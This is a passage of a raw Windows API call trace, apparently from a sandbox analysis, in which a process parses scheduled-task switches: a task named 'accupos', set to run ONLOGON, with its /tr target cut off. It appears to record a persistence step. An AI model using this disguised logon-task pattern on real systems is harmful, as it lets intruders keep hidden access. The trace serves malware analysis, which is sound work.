_Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.304] lstrlenW (lpString="|u|") returned 3 [0123.304] lstrlenW (lpString="|tn|") returned 4 [0123.304] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.304] lstrlenW (lpString="p") returned 1 [0123.304] lstrlenW (lpString="p") returned 1 [0123.304] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.304] lstrlenW (lpString="tn") returned 2 [0123.304] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.304] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|p|") returned 3 [0123.304] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.304] lstrlenW (lpString="|p|") returned 3 [0123.304] lstrlenW (lpString="|tn|") returned 4 [0123.304] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.304] lstrlenW (lpString="ru") returned 2 [0123.304] lstrlenW (lpString="ru") returned 2 [0123.304] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.304] lstrlenW (lpString="tn") returned 2 [0123.304] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.305] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ru|") returned 4 [0123.305] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.305] lstrlenW (lpString="|ru|") returned 4 [0123.305] lstrlenW (lpString="|tn|") returned 4 [0123.305] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0123.305] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.305] lstrlenW (lpString="rp") returned 2 [0123.305] lstrlenW (lpString="rp") returned 2 [0123.305] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.305] lstrlenW (lpString="tn") returned 2 [0123.305] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.305] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rp|") returned 4 [0123.305] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.305] lstrlenW (lpString="|rp|") returned 4 [0123.305] lstrlenW (lpString="|tn|") returned 4 [0123.305] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0123.305] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.305] lstrlenW (lpString="sc") returned 2 [0123.305] lstrlenW (lpString="sc") returned 2 [0123.305] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.305] lstrlenW (lpString="tn") returned 2 [0123.305] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.305] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.305] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.305] lstrlenW (lpString="|sc|") returned 4 [0123.305] lstrlenW (lpString="|tn|") returned 4 [0123.305] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0123.305] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.305] lstrlenW (lpString="mo") returned 2 [0123.305] lstrlenW (lpString="mo") returned 2 [0123.305] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.305] lstrlenW (lpString="tn") returned 2 [0123.305] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.306] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|mo|") returned 4 [0123.306] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.306] lstrlenW (lpString="|mo|") returned 4 [0123.306] lstrlenW (lpString="|tn|") returned 4 [0123.306] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0123.306] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.306] lstrlenW (lpString="d") returned 1 [0123.306] lstrlenW (lpString="d") returned 1 [0123.306] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.306] lstrlenW (lpString="tn") returned 2 [0123.306] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.306] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|d|") returned 3 [0123.306] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.306] lstrlenW (lpString="|d|") returned 3 [0123.306] lstrlenW (lpString="|tn|") returned 4 [0123.306] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.306] lstrlenW (lpString="m") returned 1 [0123.306] lstrlenW (lpString="m") returned 1 [0123.306] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.306] lstrlenW (lpString="tn") returned 2 [0123.306] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.306] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|m|") returned 3 [0123.306] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.306] lstrlenW (lpString="|m|") returned 3 [0123.306] lstrlenW (lpString="|tn|") returned 4 [0123.306] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.306] lstrlenW (lpString="i") returned 1 [0123.306] lstrlenW (lpString="i") returned 1 [0123.306] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.306] lstrlenW (lpString="tn") returned 2 [0123.306] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.307] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|i|") returned 3 [0123.307] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.307] lstrlenW (lpString="|i|") returned 3 [0123.307] lstrlenW (lpString="|tn|") returned 4 [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] lstrlenW (lpString="tn") returned 2 [0123.307] lstrlenW (lpString="tn") returned 2 [0123.307] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.307] lstrlenW (lpString="tn") returned 2 [0123.307] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.307] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.307] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.307] lstrlenW (lpString="|tn|") returned 4 [0123.307] lstrlenW (lpString="|tn|") returned 4 [0123.307] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] lstrlenW (lpString="accupos") returned 7 [0123.307] lstrlenW (lpString="-/") returned 2 [0123.307] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] lstrlenW (lpString="accupos") returned 7 [0123.307] StrChrIW (lpStart="accupos", wMatch=0x3a) returned 0x0 [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] lstrlenW (lpString="accupos") returned 7 [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.307] lstrlenW (lpString="/sc") returned 3 [0123.307] lstrlenW (lpString="-/") returned 2 [0123.307] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.307] lstrlenW (lpString="create") returned 6 [0123.307] lstrlenW (lpString="create") returned 6 [0123.308] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.308] lstrlenW (lpString="sc") returned 2 [0123.308] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.308] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|create|") returned 8 [0123.308] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.308] lstrlenW (lpString="|create|") returned 8 [0123.308] lstrlenW (lpString="|sc|") returned 4 [0123.308] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0123.308] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.308] lstrlenW (lpString="?") returned 1 [0123.308] lstrlenW (lpString="?") returned 1 [0123.308] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.308] lstrlenW (lpString="sc") returned 2 [0123.308] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.308] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|?|") returned 3 [0123.308] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.308] lstrlenW (lpString="|?|") returned 3 [0123.308] lstrlenW (lpString="|sc|") returned 4 [0123.308] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.308] lstrlenW (lpString="s") returned 1 [0123.308] lstrlenW (lpString="s") returned 1 [0123.308] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.308] lstrlenW (lpString="sc") returned 2 [0123.308] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.308] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|s|") returned 3 [0123.308] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.308] lstrlenW (lpString="|s|") returned 3 [0123.308] lstrlenW (lpString="|sc|") returned 4 [0123.308] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.308] lstrlenW (lpString="u") returned 1 [0123.308] lstrlenW (lpString="u") returned 1 [0123.308] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.309] lstrlenW (lpString="sc") returned 2 [0123.309] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.309] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|u|") returned 3 [0123.309] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.309] lstrlenW (lpString="|u|") returned 3 [0123.309] lstrlenW (lpString="|sc|") returned 4 [0123.311] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.312] lstrlenW (lpString="p") returned 1 [0123.312] lstrlenW (lpString="p") returned 1 [0123.312] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.312] lstrlenW (lpString="sc") returned 2 [0123.312] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.312] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|p|") returned 3 [0123.312] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.312] lstrlenW (lpString="|p|") returned 3 [0123.312] lstrlenW (lpString="|sc|") returned 4 [0123.312] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.312] lstrlenW (lpString="ru") returned 2 [0123.312] lstrlenW (lpString="ru") returned 2 [0123.312] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.312] lstrlenW (lpString="sc") returned 2 [0123.312] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.312] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ru|") returned 4 [0123.312] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.312] lstrlenW (lpString="|ru|") returned 4 [0123.312] lstrlenW (lpString="|sc|") returned 4 [0123.312] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0123.312] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.312] lstrlenW (lpString="rp") returned 2 [0123.312] lstrlenW (lpString="rp") returned 2 [0123.312] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.312] lstrlenW (lpString="sc") returned 2 [0123.312] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.312] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rp|") returned 4 [0123.312] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.312] lstrlenW (lpString="|rp|") returned 4 [0123.312] lstrlenW (lpString="|sc|") returned 4 [0123.312] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0123.312] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.313] lstrlenW (lpString="sc") returned 2 [0123.313] lstrlenW (lpString="sc") returned 2 [0123.313] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.313] lstrlenW (lpString="sc") returned 2 [0123.313] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.313] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.313] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.313] lstrlenW (lpString="|sc|") returned 4 [0123.313] lstrlenW (lpString="|sc|") returned 4 [0123.313] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0123.313] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.313] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.313] lstrlenW (lpString="ONLOGON") returned 7 [0123.313] lstrlenW (lpString="-/") returned 2 [0123.313] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0123.313] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.313] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.313] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.313] lstrlenW (lpString="ONLOGON") returned 7 [0123.313] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0123.313] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.313] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.313] GetProcessHeap () returned 0x23fabff0000 [0123.313] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabffa990 [0123.313] _memicmp (_Buf1=0x23fabffa990, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.313] lstrlenW (lpString="ONLOGON") returned 7 [0123.313] GetProcessHeap () returned 0x23fabff0000 [0123.313] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x10) returned 0x23fabffa9f0 [0123.313] lstrlenW (lpString="ONLOGON") returned 7 [0123.313] lstrlenW (lpString=" \x09") returned 2 [0123.313] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0123.313] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0123.313] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0123.313] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0123.313] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0123.314] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0123.314] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0123.314] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0123.314] GetLastError () returned 0x0 [0123.314] lstrlenW (lpString="ONLOGON") returned 7 [0123.314] lstrlenW (lpString="ONLOGON") returned 7 [0123.314] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.314] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.314] lstrlenW (lpString="/tr") returned 3 [0123.314] lstrlenW (lpString="-/") returned 2 [0123.314] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.314] lstrlenW (lpString="create") returned 6 [0123.314] lstrlenW (lpString="create") returned 6 [0123.314] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.314] lstrlenW (lpString="tr") returned 2 [0123.314] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.314] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|create|") returned 8 [0123.314] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.314] lstrlenW (lpString="|create|") returned 8 [0123.314] lstrlenW (lpString="|tr|") returned 4 [0123.314] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0123.314] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.314] lstrlenW (lpString="?") returned 1 [0123.314] lstrlenW (lpString="?") returned 1 [0123.314] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.314] lstrlenW (lpString="tr") returned 2 [0123.314] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.314] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|?|") returned 3 [0123.314] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.314] lstrlenW (lpString="|?|") returned 3 [0123.314] lstrlenW (lpString="|tr|") returned 4 [0123.314] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.314] lstrlenW (lpString="s") returned 1 [0123.314] lstrlenW (lpString="s") returned 1 [0123.315] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.315] lstrlenW (lpString="tr") returned 2 [0123.315] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.315] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|s|") returned 3 [0123.315] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.315] lstrlenW (lpString="|s|") returned 3 [0123.315] lstrlenW (lpString="|tr|") returned 4 [0123.315] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.315] lstrlenW (lpString="u") returned 1 [0123.315] lstrlenW (lpString="u") returned 1 [0123.315] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.315] lstrlenW (lpString="tr") returned 2 [0123.315] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.315] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|u|") returned 3 [0123.315] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.315] lstrlenW (lpString="|u|") returned 3 [0123.315] lstrlenW (lpString="|tr|") returned 4 [0123.315] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.315] lstrlenW (lpString="p") returned 1 [0123.315] lstrlenW (lpString="p") returned 1 [0123.315] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.315] lstrlenW (lpString="tr") returned 2 [0123.315] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.315] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|p|") returned 3 [0123.315] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.315] lstrlenW (lpString="|p|") returned 3 [0123.315] lstrlenW (lpString="|tr|") returned 4 [0123.315] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.315] lstrlenW (lpString="ru") returned 2 [0123.315] lstrlenW (lpString="ru") returned 2 [0123.315] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.316] lstrlenW (lpString="tr") returned 2 [0123.316] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.316] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ru|") returned 4 [0123.316] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.316] lstrlenW (lpString="|ru|") returned 4 [0123.316] lstrlenW (lpString="|tr|") returned 4 [0123.316] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0123.316] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.316] lstrlenW (lpString="rp") returned 2 [0123.316] lstrlenW (lpString="rp") returned 2 [0123.316] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.316] lstrlenW (lpString="tr") returned 2 [0123.316] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.316] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rp|") returned 4 [0123.316] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.316] lstrlenW (lpString="|rp|") returned 4 [0123.316] lstrlenW (lpString="|tr|") returned 4 [0123.316] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0123.316] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.316] lstrlenW (lpString="sc") returned 2 [0123.316] lstrlenW (lpString="sc") returned 2 [0123.316] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.316] lstrlenW (lpString="tr") returned 2 [0123.316] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.316] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.316] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.316] lstrlenW (lpString="|sc|") returned 4 [0123.316] lstrlenW (lpString="|tr|") returned 4 [0123.316] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0123.316] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.316] lstrlenW (lpString="mo") returned 2 [0123.317] lstrlenW (lpString="mo") returned 2 [0123.317] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.317] lstrlenW (lpString="tr") returned 2 [0123.317] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.317] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|mo|") returned 4 [0123.317] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.317] lstrlenW (lpString="|mo|") returned 4 [0123.317] lstrlenW (lpString="|tr|") returned 4 [0123.317] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0123.317] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.317] lstrlenW (lpString="d") returned 1 [0123.317] lstrlenW (lpString="d") returned 1 [0123.317] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.317] lstrlenW (lpString="tr") returned 2 [0123.317] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.317] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|d|") returned 3 [0123.317] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.317] lstrlenW (lpString="|d|") returned 3 [0123.317] lstrlenW (lpString="|tr|") returned 4 [0123.317] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.317] lstrlenW (lpString="m") returned 1 [0123.317] lstrlenW (lpString="m") returned 1 [0123.317] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.317] lstrlenW (lpString="tr") returned 2 [0123.317] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.317] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|m|") returned 3 [0123.317] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.317] lstrlenW (lpString="|m|") returned 3 [0123.317] lstrlenW (lpString="|tr|") returned 4 [0123.317] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.317] lstrlenW 